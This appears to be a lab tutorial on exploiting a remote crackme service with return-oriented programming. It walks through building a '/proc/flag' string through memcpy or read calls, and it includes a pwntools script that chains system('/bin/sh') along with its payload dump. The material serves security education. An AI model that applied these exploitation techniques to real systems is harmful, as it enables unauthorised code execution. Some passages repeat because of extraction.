Today we'll exploit the 64-bit crackme0x00 from Tut06-02... remotely! We're going to use essentially the same binary, but this time, it'll be provided as a remote network service instead of directly as an executable file.
Try connecting to it:
$ nc [LAB_SERVER_IP] 10701
In Tut06-02, we exploited an x86_64 DEP-enabled crackme0x00 binary without any explicit leaks provided. In the second payload, we invoked a sequence of calls to read the flag as follows:
crackme0x00
open("anystring", 0);
/proc/flag
read(3, tmp, 1040);
write(1, tmp, 1040);
Unfortunately, this trick no longer works in a remote setting, because we can't create a symbolic link in a remote filesystem that we don't have access to. In other words, we need to either find an existing "/proc/flag" string somewhere in memory, or construct it ourselves.
"/proc/flag"
[Task] Before you proceed further, make sure your exploit for Tut06-02 works against this remote service! But it shouldn't actually print the flag yet, as it fails to open /proc/flag.
Unfortunately, it's unlikely that either the binary or libc has a "/proc/flag" string. However, by ROP-ing, we can construct any string we want. Let's search for snippets of the string in memory.
In a GDB session, try:
> search "/proc" libc-2.27.so 0x7ffff7867a1d 0x65732f636f72702f ('/proc/se') libc-2.27.so 0x7ffff78690ed 0x65732f636f72702f ('/proc/se') ... > search "flag" libc-2.27.so 0x7ffff77f29e3 insb byte ptr [rdi], dx /* 'flags' */ libc-2.27.so 0x7ffff77f54ad insb byte ptr [rdi], dx /* 'flags' */ ...
Our plan is to use memcpy() to concatenate these two strings in some temporary, writable memory region:
memcpy()
memcpy(tmp2, PTR_TO_PROC, len("/proc/")); memcpy(tmp2+len("/proc/"), PTR_TO_FLAG, len("flag"));
Note: memcpy() is an "ifunc" in glibc, and those can be tricky to find correct offsets for. Tut06-02 included a tip for how to deal with that, so refer back to that section if you need to.
Once the string is in place, the rest of your payload would then be:
open(tmp2, 0);
tmp2
Your first thought might be to prepend the two memcpy() calls to that, but if you try it, you'll discover that the challenge binary only accepts 256 bytes of user input, which isn't enough for all five calls.
[Task] Try to exploit the program once again. It's now a three-stage exploit: Leak addresses and use them to find the desired functions and memory Build the "/proc/flag" string with two memcpy()s open() + read() + write() Can you successfully get the flag from the remote server?
[Task] Try to exploit the program once again. It's now a three-stage exploit:
open()
read()
write()
Can you successfully get the flag from the remote server?
Although that does work, there's actually an easier method. Since we've hijacked control flow and can call whatever functions we want, we can directly inject our string ("/proc/flag") to an arbitrary memory region by simply invoking read() and providing the string on stdin:
read(0, tmp2, 11);
[Task] Can you tweak your exploit to accept "/proc/flag" and save it to tmp2?
Note: When feeding multiple inputs to a remote service, you may want to briefly pause the exploit in between with sleep(), or wait until the previous input is fully processed (e.g., using recvuntil()). Otherwise, due to buffering, multiple payloads might end up being read by the same read() call (e.g., the "/proc/flag" string could end up at the end of your initial ROP chain, even if you intended to send it as a separate input). Another option is to always send inputs that are exactly as large as the read() size (i.e., 256 bytes for this binary -- see start()), which forces read() to return before accepting your next input.
Note: When feeding multiple inputs to a remote service, you may want to briefly pause the exploit in between with sleep(), or wait until the previous input is fully processed (e.g., using recvuntil()). Otherwise, due to buffering, multiple payloads might end up being read by the same read() call (e.g., the "/proc/flag" string could end up at the end of your initial ROP chain, even if you intended to send it as a separate input).
sleep()
recvuntil()
Another option is to always send inputs that are exactly as large as the read() size (i.e., 256 bytes for this binary -- see start()), which forces read() to return before accepting your next input.
start()
As mentioned in Tut06-01, you can also automate the ROP programming process with pwntools. Here's a slightly fancier example than the one from that tutorial:
#/usr/bin/env python3 from pwn import * context.arch = 'x86_64' # override pwntools's default cache directory to your secret tmp directory # (workaround for <https://github.com/Gallopsled/pwntools/issues/2072>) os.environ['XDG_CACHE_HOME'] = './' libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = 0xdeadb000 # put the leaked libc base here rop = ROP(libc) # fill the buffer rop.raw(b'A' * 44) # system("/bin/sh") rop.system(next(libc.search(b'/bin/sh\x00'))) # exit(0) rop.exit(0) # get the payload payload = rop.chain()
While writing a ROP chain, it's a good idea to frequently check its payload using dump():
dump()
print(rop.dump()) 0x0000: 'AAAAAAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 0x0008: 'AAAAAAAA' 0x0010: 'AAAAAAAA' 0x0018: 'AAAAAAAA' 0x0020: 'AAAAAAAA' 0x0028: 'AAAAaaaa' 0x0030: 0xdeafc55f pop rdi; ret 0x0038: 0xdec8f0fa [arg0] rdi = 3737710842 0x0040: 0xdeb2a4e0 system 0x0048: 0xdeafc55f pop rdi; ret 0x0050: 0x0 [arg0] rdi = 0 0x0058: 0xdeb1e1d0 exit
pwntools was even able to automatically find and use the pop rdi; ret gadget from libc!
pop rdi; ret
If you're feeling ambitious, you can write your ROP chains more cleanly using this module.
The remote environment might use different libraries (e.g., libc), which can cause your exploit that relies on gadgets outside of the program itself to fail. If you're using a different Linux distribution, or have a different version of the same one, you need to make sure that you're testing your exploit with exactly the same libraries.
A simple way to avoid this problem is to copy the libraries from the remote server and use those:
[remote] $ ldd target-seccomp linux-vdso.so.1 (0x00007ffdb5cba000) libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f6cc3f72000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6cc3b81000) /lib64/ld-linux-x86-64.so.2 (0x00007f6cc41be000) [local] $ scp lab07@[ip]:/lib/x86_64-linux-gnu/libc.so.6 . [local] $ scp lab07@[ip]:/lib64/ld-linux-x86-64.so.2 .
With these dynamic linker and libc libraries, you can launch target-seccomp essentially the same as if it was running on the remote server:
target-seccomp
$ LD_LIBRARY_PATH=. ./ld-linux-x86-64.so.2 ./target-seccomp IOLI Crackme Level 0x00 Password: (meanwhile, in another console window:) $ cat /proc/$(pidof ld-linux-x86-64.so.2)/maps | grep libc 7f7792d50000-7f7792f37000 r-xp 00000000 08:01 /tmp/tut07-remote/libc.so.6 7f7792f37000-7f7793137000 ---p 001e7000 08:01 /tmp/tut07-remote/libc.so.6 7f7793137000-7f779313b000 r--p 001e7000 08:01 /tmp/tut07-remote/libc.so.6 7f779313b000-7f779313d000 rw-p 001eb000 08:01 /tmp/tut07-remote/libc.so.6
LD_LIBRARY_PATH=. instructs the linker to look for libraries in the current working directory when loading target-seccomp. As shown above, the maps file indicates that the libc.so.6 in the current directory is being used instead of the system's default libc.
LD_LIBRARY_PATH=.
maps
libc.so.6
You can do this in Python, too, in the same way:
p = process(['./ld-linux-x86-64.so.2', './target-seccomp'], env={'LD_LIBRARY_PATH': '.'})
Note that if you're using the same Linux distribution and version as the remote server, it's unlikely that you need to do this at all.
The stack alignment issues highlighted at the end of Tut06-02 can occur here, too. The solution is the same, so if you encounter segmentation faults on movaps instructions within libc, refer back to that section for help.
movaps
Good luck!